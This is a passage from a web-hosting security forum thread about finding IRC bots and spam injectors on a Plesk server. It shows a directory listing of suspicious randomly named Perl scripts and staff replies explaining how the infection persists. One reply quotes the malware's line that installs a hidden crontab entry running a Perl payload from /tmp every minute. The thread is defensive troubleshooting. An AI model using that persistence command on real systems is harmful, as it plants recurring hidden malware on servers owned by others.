-rwxr-xr-x  1 chait-admin psacln   62K Mar 27  2013 oxanilic.pl
-rwxr-xr-x  1 chait-admin psacln   62K Aug 31 18:08 replacing.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  1 15:07 repression.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  4 11:15 scarce.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  6 16:58 shinneys.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  8 18:45 sinciput.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  3 07:20 syncreticism.pl
drwxr-xr-x  2 chait-admin psacln  4.0K Sep 17  2011 test
-rwxr-xr-x  1 chait-admin psacln   62K Sep  4 17:37 turkeys.pl
-rwxr-xr-x  1 chait-admin psacln   62K Aug 31 07:15 uranyls.pl
-rwxr-xr-x  1 chait-admin psacln   62K Aug 30 11:54 wauble.pl
I am just an amateur when it comes to locating IRC bots and spam injectors. But I hope that this helps others with a similar problem. The sad part is that this all gets past mod_sec.
scott
Atomicorp Staff - Site Admin
Atomicorp Staff - Site Admin
Posts: 8355
Joined: Wed Dec 31, 1969 8:00 pm
Location: earth
Contact:

Re: Finding IRC Bots

Unread post by scott »

It could be that they are uploaded by way of the vulnerabilities in the plesk file manager. This would bypass everything
User avatar
mikeshinn
Atomicorp Staff - Site Admin
Atomicorp Staff - Site Admin
Posts: 4149
Joined: Thu Feb 07, 2008 7:49 pm
Location: Chantilly, VA

Re: Finding IRC Bots

Unread post by mikeshinn »

The sad part is that this all gets past mod_sec.
mod_sec cant stop things like this, its an input filter for apache. And this malware is running out of cron:

system("echo '* * * * * perl /tmp/.X11-unix >/dev/null 2>&1' > /tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d");

Apache isnt even involbed. The ASL kernel, however, can stop this.
Post Reply